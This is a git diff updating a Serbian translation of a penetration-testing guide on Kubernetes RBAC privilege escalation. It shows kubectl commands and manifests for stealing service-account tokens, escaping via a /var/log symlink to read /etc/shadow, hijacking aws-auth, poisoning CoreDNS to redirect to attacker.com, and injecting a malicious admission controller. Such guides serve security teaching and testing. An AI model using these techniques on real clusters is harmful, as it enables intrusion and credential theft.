Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-13 14:33:41 +00:00
parent 991a6844a6
commit e360988765

View File

@@ -7,17 +7,17 @@ Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources`
## **Privilege Escalation**
Ovo se odnosi na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili prema spoljnim cloud-ovima) od onih koje već imate. U Kubernetes-u postoje osnovno **4 glavne tehnike za eskalaciju privilegija**:
Ovo se odnosi na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili na eksternim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za eskalaciju privilegija**:
- Mogućnost da **imituješ** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Mogućnost da **kreiraš/patch-uješ/izvršavaš podove** gde možeš **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
- Mogućnost da **imituješ** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da **kreiraš/patch-uješ/izvršavaš podove** gde možeš **pronaći ili priključiti SAs** sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da **čitaš tajne** jer su SAs tokeni pohranjeni kao tajne
- Mogućnost da **pobegneš na čvor** iz kontejnera, gde možeš ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokreneš port-forward** u podu, jer možeš imati pristup zanimljivim resursima unutar tog poda.
### Access Any Resource or Verb (Wildcard)
**wildcard (\*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom**. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi anynamespace u klasteru
**wildcard (\*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom**. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi bilo koji namespace u klasteru
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -33,9 +33,9 @@ verbs: ["*"]
U RBAC-u, određene dozvole predstavljaju značajne rizike:
1. **`create`:** Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija.
1. **`create`:** Daje mogućnost kreiranja bilo kog klasterskog resursa, što može dovesti do eskalacije privilegija.
2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.
3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.
3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, predstavljajući bezbednosnu pretnju.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je Service Account. Efektivno povećavajući privilegije.
Napadač sa dozvolama za kreiranje poda može prikačiti privilegovani Service Account u pod i ukrasti token kako bi se pretvarao da je taj Service Account. Efektivno povećavajući privilegije.
Primer poda koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču:
```yaml
@@ -140,7 +140,7 @@ _Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane po
### Pod Create - Move to cloud
Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud role podu ili service account-u** i zatim mu pristupiti.\
Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud roles** podu ili **service account** i zatim mu pristupite.\
Štaviše, ako možete da kreirate **pod sa host network namespace** možete **ukrasti IAM** ulogu **node** instance.
Za više informacija proverite:
@@ -153,7 +153,7 @@ pod-escape-privileges.md
Moguće je iskoristiti ove dozvole da **kreirate novi pod** i uspostavite privilegije kao u prethodnom primeru.
Sledeći yaml **kreira daemonset i exfiltrira token SA** unutar poda:
Sledeći yaml **kreira daemonset i eksfiltrira token SA** unutar poda:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -197,21 +197,26 @@ Stoga, moguće je **ući u pod i ukrasti token SA**, ili ući u privilegovani po
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Po defaultu, komanda se izvršava u prvom kontejneru poda. Dobijte **sve podove u kontejneru** sa `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` i zatim **naznačite kontejner** u kojem želite da ga izvršite sa `kubectl exec -it <pod_name> -c <container_name> -- sh`
Ako je u pitanju distroless kontejner, možete pokušati koristiti **shell builtins** da dobijete informacije o kontejnerima ili da otpremite svoje alate poput **busybox** koristeći: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje rade unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
```
Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Kao [**što je naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ako možete pristupiti ili kreirati pod sa **montiranim direktorijumom `/var/log/`** na njemu, možete **pobeći iz kontejnera**.\
To je u suštini zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs <pod>`), on **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\
Kubelet servis izlaže `/logs/` endpoint koji u suštini **izlaže `/var/log` datotečni sistem kontejnera**.
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera mogao bi da zloupotrebi ovo ponašanje na 2 načina:
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da exfiltrirate hosts shadow datoteku radeći:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -247,7 +252,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera sa hosta u kontejner sa pristupom za pisanje:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -295,7 +300,7 @@ name: task-pv-storage-vol
```
### **Imitiranje privilegovanih naloga**
Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovani nalog.
Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovan nalog.
Jednostavno koristite parametar `--as=<username>` u `kubectl` komandi da biste imitirali korisnika, ili `--as-group=<group>` da biste imitirali grupu:
```bash
@@ -381,7 +386,7 @@ Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom name
### Čitanje tajne brute-forcing token ID-eva
Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg _**listing secrets**_ privilegije, i dalje postoje ranjivosti. Podrazumevane service accounts u sistemu mogu se enumerisati, svaka povezana sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim peto-znamenkastim alfanumeričkim tokenom (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg privilegija _**listing secrets**_, i dalje postoje ranjivosti. Podrazumevane service accounts u sistemu mogu se enumerisati, svaka povezana sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno dovelo do eskalacije privilegija pristupom osetljivim service accounts.
@@ -425,7 +430,7 @@ verbs:
Dakle, sa odobrenim novim node CSR-om, možete **iskoristiti** posebne dozvole nodova da **ukradete tajne** i **povećate privilegije**.
U [**ovom postu**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**ovom**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap konfiguracija je podešena sa **automatskim potpisivanjem** i koristi se za generisanje kredencijala novog K8s nod-a, a zatim se koristi za povećanje privilegija ukradanjem tajni.\
Ako **imate pomenute privilegije, mogli biste uraditi istu stvar**. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novom nodu da pristupi tajnama unutar kontejnera jer **nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.**
Ako **imate pomenute privilegije, mogli biste uraditi istu stvar**. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi nod da pristupi tajnama unutar kontejnera jer **nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.**
Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime nod-a gde je kontejner sa zanimljivim tajnama montiran** (ali samo proverite kako to uraditi u prvom postu):
```bash
@@ -433,7 +438,7 @@ Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime no
```
### AWS EKS aws-auth configmaps
Principali koji mogu da modifikuju **`configmaps`** u kube-system imenu prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\
Principali koji mogu da modifikuju **`configmaps`** u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\
Potrebni glagoli su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran:
```bash
# Check if config map exists
@@ -474,20 +479,60 @@ groups:
- system:masters
```
> [!WARNING]
> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**.
> Možete koristiti **`aws-auth`** za **persistence** davanje pristupa korisnicima iz **drugih naloga**.
>
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne funkcioniše iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funkcioniše ako stavite ARN klastera umesto samo imena.\
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako stavite ARN klastera umesto samo imena.\
> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec args dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.
### CoreDNS config map
Ako imate dozvole da modifikujete **`coredns` configmap** u `kube-system` namespace-u, možete modifikovati adrese na koje će se domeni rešavati kako biste mogli da izvršite MitM napade za **krađu osetljivih informacija ili injektovanje malicioznog sadržaja**.
Glagoli koji su potrebni su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config mapama).
Običan **coredns fajl** sadrži nešto poput ovoga:
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
Napadač može preuzeti to pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeniti ga dodajući nešto poput `rewrite name victim.com attacker.com`, tako da kada se pristupi `victim.com`, zapravo se pristupa `attacker.com`. Zatim se može primeniti pokretanjem `kubectl apply -f poison_dns.yaml`.
Druga opcija je jednostavno izmeniti datoteku pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene.
### Eskalacija u GKE
Postoje **2 načina da se dodele K8s dozvole GCP principima**. U svakom slučaju, princip takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link).
Postoje **2 načina za dodeljivanje K8s dozvola GCP principalima**. U svakom slučaju, principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj kubectl config fajl** (pratite sledeći link).
> [!WARNING]
> Kada komunicirate sa K8s api krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s api krajnje tačke, prvo **proveriti da li princip** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
> Kada se komunicira sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li principal** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**.
Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako princip to ima, moći će da ga koristi.
Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal to ima, moći će da ih koristi.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -497,26 +542,26 @@ Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikovanjem kor
### Kreiranje tokena za servisne naloge
Principi koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s api krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principali koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principi koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu dobiti **izvršavanje koda na drugim podovima**, i potencijalno **izbeći** na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext.
Principali koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu dobiti **izvršavanje koda na drugim podovima**, i potencijalno **izbeći** na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext.
### ValidatingWebhookConfigurations ili MutatingWebhookConfigurations
Principi sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **eskaliraju privilegije**.
Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **escaliraju privilegije**.
Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](#malicious-admission-controller).
### Eskaliraj
### Eskalirati
Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija privilegovanih eskalacija**](#built-in-privileged-escalation-prevention), princip ne može da ažurira niti kreira uloge ili clusterroles bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**.\
Tada može ažurirati/kreati nove uloge, clusterroles sa boljim dozvolama od onih koje ima.
Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](#built-in-privileged-escalation-prevention), principal ne može ažurirati niti kreirati uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate` ili `*`** nad **`roles`** ili **`clusterroles`** i odgovarajuće opcije vezivanja.\
Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima.
### Nodes proxy
Principi sa pristupom do **`nodes/proxy`** podresursa mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici:
Principali sa pristupom **`nodes/proxy`** podresursu mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -526,7 +571,7 @@ Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde*
### Brisanje podova + neschedulabilni čvorovi
Principi koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova.
Principali koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -539,7 +584,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Status usluga (CVE-2020-8554)
Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljeni CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **nepopravljeni CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Status čvorova i podova
@@ -551,10 +596,10 @@ Kubernetes ima [ugrađeni mehanizam](https://kubernetes.io/docs/reference/access
Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.
Pravilo nalaže da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
Pravilo stipulira da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
> [!WARNING]
> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez poseda tih dozvola.
> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da ih sam poseduje.
### **Dobijanje i patch RoleBindings/ClusterRoleBindings**
@@ -569,55 +614,29 @@ Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za s
Po defaultu, ne postoji nikakva enkripcija u komunikaciji između podova. Uzajamna autentifikacija, dvosmerna, pod do poda.
#### Kreirajte sidecar proxy aplikaciju <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Kreiranje sidecar proxy aplikacije
Kreirajte svoj .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Izmenite svoj .yaml i dodajte nekomentarisane linije:
Sidecar kontejner se sastoji samo od dodavanja **drugog (ili više) kontejnera unutar poda**.
Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
Pogledajte logove proksija:
```bash
kubectl logs app -C proxy
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Na primer, da biste uneli backdoor u postojeći pod sa novim kontejnerom, možete jednostavno dodati novi kontejner u specifikaciju. Imajte na umu da možete **dati više dozvola** drugom kontejneru koje prvi neće imati.
Više informacija na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Zlonameran Admission Controller
### Malicious Admission Controller
Admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što dođe do trajanja objekta, ali **nakon što je zahtev autentifikovan** **i autorizovan**.
Ako napadač nekako uspe da **ubaci Mutationg Admission Controller**, moći će da **modifikuje već autentifikovane zahteve**. To može potencijalno omogućiti privesc, a obično i trajanje u klasteru.
Ako napadač nekako uspe da **ubaci Mutation Admission Controller**, moći će da **modifikuje već autentifikovane zahteve**. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru.
**Primer iz** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -638,7 +657,7 @@ Zatim implementirajte novi pod:
kubectl run nginx --image nginx
kubectl get po -w
```
Kada vidite grešku `ErrImagePull`, proverite ime slike sa bilo kojim od upita:
Kada vidite grešku `ErrImagePull`, proverite ime slike pomoću jednog od upita:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
@@ -647,9 +666,9 @@ kubectl describe po nginx | grep "Image: "
Kao što možete videti na gornjoj slici, pokušali smo da pokrenemo sliku `nginx`, ali je konačno izvršena slika `rewanthtammana/malicious-image`. Šta se upravo desilo!!?
#### Tehnički detalji <a href="#heading-technicalities" id="heading-technicalities"></a>
#### Tehnički detalji
Skript `./deploy.sh` uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na posmatrane rezultate:
Skript `./deploy.sh` uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve za Kubernetes API prema specifikacijama u svojim konfiguracionim linijama, utičući na zapažene rezultate:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -667,9 +686,9 @@ Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanth
## Najbolje prakse
### **Onemogućavanje automount-a tokena servisnog naloga**
### **Onemogućavanje automatskog montiranja tokena servisnog naloga**
- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automatske funkcije montiranja.
- **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.
### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings**
@@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
{{#include ../../../banners/hacktricks-training.md}}